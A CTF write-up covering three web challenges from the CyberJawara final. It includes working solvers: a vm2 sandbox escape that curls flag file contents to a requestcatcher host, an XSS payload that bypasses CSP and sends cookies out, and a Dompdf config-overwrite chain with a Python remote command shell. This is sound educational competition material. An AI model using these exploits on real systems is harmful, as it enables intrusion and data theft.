Skip to main content

Command Palette

Search for a command to run...

CyberJawara All Web Final Writeup

Updated
9 min read
CyberJawara All Web Final Writeup
R

the struggle itself towards the heights is enough to fill a man heart.

Hi Flag Hunters! It's me, replican, your friendly mediocre web player 🤓. At the start of 2025, I took part in the Cyberjawara final and managed to solve all the web challenges. You can download all the sources from here.

Before diving into the finals, let me quickly talk about the Cyberjawara qualifiers. During the qualifiers, I also managed to clear the web challenges! And in the final, I solved all the web challenges too! I must say, the quality of the challenges was absolutely impressive!

However, I won't go into much detail about the qualifier challenges because many of them were black boxes, making it hard to discuss the technical aspects. So, I'll focus on the web challenges from the finals instead!

For the Cyberjawara finals in 2025 (even though it's called Cyberjawara 2024, haha), the event took place at UI Depok. It was quite a trip since I'm from East Java. This time, I joined a team called "CTF Beyond Journeys End" inspired by a anime frieren, LOL. My teammates were the same as my team from Wreckit. Big shoutout to my team for doing an amazing job in pwn and crypto! I focused on solving the web challenges and one easy misc pyjail. Yep, I'm that web guy, hahaha! At the start, I held onto 2 web challenges so other teams wouldn't try to solve them, because the rules didn't say hoarding was prohibited. But in the end, another team also solved it (simple notes). I kind of expected that because the concept of that challenge is used in many CTFs out there. I've even created a similar challenge before. But that was the only challenge solved by another team at that time.

JS Runner

frontend js :

document.addEventListener('DOMContentLoaded', () => {
    const codeInput = document.getElementById('codeInput');
    const runButton = document.getElementById('runButton');
    const outputDiv = document.getElementById('output');

    runButton.addEventListener('click', async () => {
        const code = codeInput.value;
        runButton.disabled = true;
        runButton.textContent = 'Running...';
        outputDiv.innerHTML = '<p>Executing code...</p>';

        try {
            const response = await fetch('/run', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({ code }),
            });

            const data = await response.json();

            if (!response.ok) {
                throw new Error(data.error || 'An error occurred');
            }

            outputDiv.innerHTML = `
                <h3>Result:</h3>
                <pre>${escapeHtml(String(data.result))}</pre>
            `;
        } catch (error) {
            outputDiv.innerHTML = `
                <h3>Error:</h3>
                <pre>${escapeHtml(error.message)}</pre>
                ${error.stack ? `<h3>Stack Trace:</h3><pre>${escapeHtml(error.stack)}</pre>` : ''}
            `;
        } finally {
            runButton.disabled = false;
            runButton.textContent = 'Run Code';
        }
    });

    function escapeHtml(unsafe) {
        return unsafe
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/"/g, "&quot;")
            .replace(/'/g, "&#039;");
    }
});

// Example usage (this will be executed when you run the Node.js code)
const exampleCode = `
function fibonacci(n) {
    if (n <= 1) return n;
    return fibonacci(n - 1) + fibonacci(n - 2);
}

fibonacci(10);
`;

backend js :

const express = require('express');
const { VM } = require('vm2');
const util = require('util');
const app = express();
const port = process.env.PORT || 3000;

app.use(express.json());

app.use(express.static('public'))

app.post('/run', (req, res) => {
    const userCode = req.body.code;

    if (typeof userCode !== 'string') {
        return res.status(400).json({ error: 'Invalid code format' });
    }

    try {
        const vm = new VM({
            timeout: 5000,
            eval: false,
            wasm: false,
        });
        const result = vm.run(userCode);
        res.json({
            result: result
        });
    } catch (error) {
        res.status(500).json({ 
            error: error.message,
            stack: error.stack 
        });
    }
});


app.use((err, req, res, next) => {
    console.error(err.stack);
    res.status(500).json({ error: 'Internal server error' });
});

app.listen(port, () => {
    console.log(`Server running on port ${port}`);
});

in vm2 is vulnerable to sandbox escape, even in the latest version. here is the proof of concept (POC)

poc ← in here i will explain the poc, and why this is work to avoid stack error.

solver:

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl https://repkontol.requestcatcher.com/?flag=$(cat /f*)'); }
            )
        }
    }
};
p.then();

Simple Notes

from flask import Flask, request, render_template, redirect, url_for
import random
import string
import requests
import re
import time

app = Flask(__name__)

notes = {}
visitors = {}

def generate_random_string(length):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

@app.after_request
def set_csp(response):
    # csp self src
    response.headers["Content-Security-Policy"] = "default-src 'self';"
    return response

@app.route("/", methods=["GET"])
def home():
    return render_template("index.html")

@app.route("/save_note", methods=['POST'])
def save_note():
    note = request.form.get('note')

    if not note:
        error = "No note provided. Please enter your note."
        return error
    if 'script' in note or 'eval' in note:
        error = "Forbidden keyword"
        return error

    key = generate_random_string(100)
    notes[key] = note
    return redirect(url_for('get_note', key=key))

@app.route("/get_note/<key>", methods=['GET'])
def get_note(key):
    note = notes.get(key)
    if note is None:
        # we can control the key
        error = f"'{key} not found'"
        # xss using self src
        return error
    return render_template("note.html", note=note, key=key)

@app.route("/report", methods=['POST'])
def report():
    ip = request.remote_addr
    now = time.time()
    window = 60

    if ip not in visitors:
        visitors[ip] = []

    visitors[ip] = [timestamp for timestamp in visitors[ip] if now - timestamp < window]

    if len(visitors[ip]) >= 2:
        error = "Error: 'Too many requests. Please wait for a while.'"
        return error

    visitors[ip].append(now)

    key = request.form.get('key')

    if not key:
        error = "Error: 'Missing note key'"
        return error
    if not re.match("^[a-zA-Z0-9]+$", key):
        error = "Error: 'Invalid key'"
        return error
    if key not in notes:
        error = f"Error: '{key} not found'"
        return error
    try:
        r = requests.post("http://bot:1337/api/report", json={"key": key}, timeout=15)
        r.raise_for_status()
        return "Reported successfully"
    except requests.RequestException as e:
        return f"Error: {e}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5555, debug=False)

note.html

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Your Note</title>
  <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
  <div class="container">
    <h1>Your Note</h1>
    <div class="note">{{ note|safe }}</div>
    <!-- Report button with the note key as a data attribute -->
    <button id="report-btn" data-key="{{ key }}">Report this note</button>
    <a href="{{ url_for('home') }}">Create another note</a>
  </div>

  <script src="{{ url_for('static', filename='report.js') }}"></script>
</body>
</html>

because using |safe makes it vulnerable to XSS, but it can't be done directly because of the CSP. Challenges like this are often used in CTFs. Like Project Sekai, I once made a similar challenge called my similar challenge.

in here to bypass the

response.headers["Content-Security-Policy"] = "default-src 'self';"

We need to get a good grasp of how CSP works, and you can find more information here: https://content-security-policy.com/script-src/. It only allows <script> tags with paths like /test or /anywhere.

<script src="/anywhere"....>

Here, we can take advantage of this. We can write some JavaScript code in /getnote when it's missing the correct ID.

 error = f"'{key} not found'"
 # xss using self src
 return error

So, how do we turn the error into JavaScript code? We can escape the ' with another ', close it with ;, add our JavaScript payload, and then finish with ; and ' again. It would look like this:

'; ourpayload;' and the full error will be like this ' '; ourpayload;' not found'

This becomes proper JavaScript code when we execute it.

Oh, I forgot to mention that we can't use the script directly because of the if 'script' in note or 'eval' in note: check. To bypass this, you can use "scripT" since it doesn't detect uppercase, but HTML allows uppercase in the script tag.

and thats all, we can use <scripT src=”/getnote/ourjspayloadhere”></scripT>

full payload

<scripT src="/get_note/x';var x=decodeURIComponent('https:%252F%252Frepkontol.requestcatcher.com%252FGACOR%253Fc%253D');window.location.href=x+document.cookie;'"></scripT>

Here, I'm using decodeURIComponent to get around the / in the URL structure. If we use / directly without %252F, it will be decoded as / in the URL structure.

Namecard

This might be one of the toughest web challenges in the final CJ! This challenge also shows up in the 'UMUM' category.

Okay, so this was the interesting source code that we're mostly going to look at.

<?php
require 'vendor/autoload.php';
require 'config.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$errors = [];

if (isset($_POST['data'])) {
  // the vulnerable code is extract
  // data=
  extract($_POST['data']);
  if (!preg_match('/^[A-Za-z0-9 ]+$/', $name)) {
    $errors['name'] = "Invalid name. Only letters, numbers, and spaces allowed.";
  }
  if (!filter_var($photoUrl, FILTER_VALIDATE_URL)) {
    $errors['photoUrl'] = "Invalid photo URL format.";
  }
  if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors['email'] = "Invalid email format.";
  }
  if (!preg_match('/^[0-9+ ]+$/', $phone)) {
    $errors['phone'] = "Invalid phone number. Only numbers, +, and spaces allowed.";
  }
  if (!preg_match('/^[A-Za-z0-9#&()@ ]+$/', $address)) {
    $errors['address'] = "Invalid address. Only letters, numbers, #, &, (, ), and @ allowed.";
  }
} else {
  $errors['data'] = "No data provided";
}

if (!empty($errors)) {
  foreach ($errors as $field => $error) {
    echo "<p><strong>$field:</strong> $error</p>";
  }
  die();
}

$html = '
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
    }
    .name-card {
      width: 320px;
      height: 180px;
      border: 2px solid #333;
      padding: 15px;
      display: flex;
      align-items: center;
      justify-content: center;
      flex-direction: column;
      border-radius: 10px;
      box-shadow: 2px 2px 10px rgba(0,0,0,0.2);
      font-size: 12px;
    }
    .photo {
      width: 60px;
      height: 60px;
      border-radius: 50%;
      object-fit: cover;
      border: 2px solid #000;
    }
    .name {
      font-size: 16px;
      font-weight: bold;
      margin-top: 5px;
    }
    .contact {
      font-size: 10px;
      margin-top: 5px;
      text-align: center;
    }
  </style>
</head>
<body>
  <div class="name-card">
    <img src="'.$photoUrl.'" class="photo" alt="User Photo">
    <div class="name">'.$name.'</div>
    <div class="contact">
      <div>Email: '.$email.'</div>
      <div>Phone: '.$phone.'</div>
      <div>Address: '.$address.'</div>
    </div>
  </div>
</body>
</html>
';
// the second vulnerable we can chain is Dompdf that allowed php code execution
// source : https://github.com/dompdf/dompdf/blob/master/src/Options.php

$options = new Options();
foreach ($config as $key => $value) {
  $options->set($key, $value);
}
$dompdf = new Dompdf($options);

$dompdf->loadHtml($html);
$dompdf->setPaper([0, 0, 330, 270], 'portrait');
$dompdf->render();
$dompdf->stream("namecard.pdf", ["Attachment" => false]);

Oh, this service uses the latest version of dompdf. There aren't any vulnerabilities in this version, so we need to check the source or the documentation. I found the GitHub repository for this library, called 'DOMPDF', which this service uses: https://github.com/dompdf/dompdf

now we know we can overwrite config for Dompdf, we can use this to use isphpenabled options in dompdf

like this

src/Options.php:

we need tu supply <script type we can supply this in the photoUrl section.

  // we can control the url but without space
  <img src="'.$photoUrl.'" class="photo" alt="User Photo">

To escape the <img tag and create a new script tag with PHP, we need to escape the <img using > like this:

<img src="">ANYPAYLOADHEREWITHENDTAG</SCRIPT> " class="photo" alt="User Photo">

Now, how do we declare <script type= without using spaces? We can use / characters to bypass spaces like this: <script/type="text/php">payload</script>

and to overwrite config we use this data[config][isPhpEnabled]=1 because the config is get for loop and setted after that

foreach ($config as $key => $value) {
  $options->set($key, $value);
}

full solver :

import httpx
import base64

URL = "http://ip:20009"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, proxies={"http://": "http://127.0.0.1:8080", "https://": None})
    def create_card(self, command=""):
        r = self.c.post('/card.php',data={
            "data[name]":"hii",
            "data[photoUrl]":"""https://anjay.com/c#a"><script/type="text/php">system('echo${IFS}"""+self.str_to_base64(command)+"""${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash');</script>""",  # we can inject php code in this photoUrl
            "data[email]": "test@email.com",
            "data[config][isPhpEnabled]":1,
            "data[config][isRemoteEnabled]":1,
            "data[phone]": "+12",
            "data[address]": "test",
        })
        print(r.text)
    def str_to_base64(self, s):
        return base64.b64encode(s.encode('utf-8')).decode('utf-8')

class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    while True:
        command = input("input command: ")
        api.create_card(command)

235 views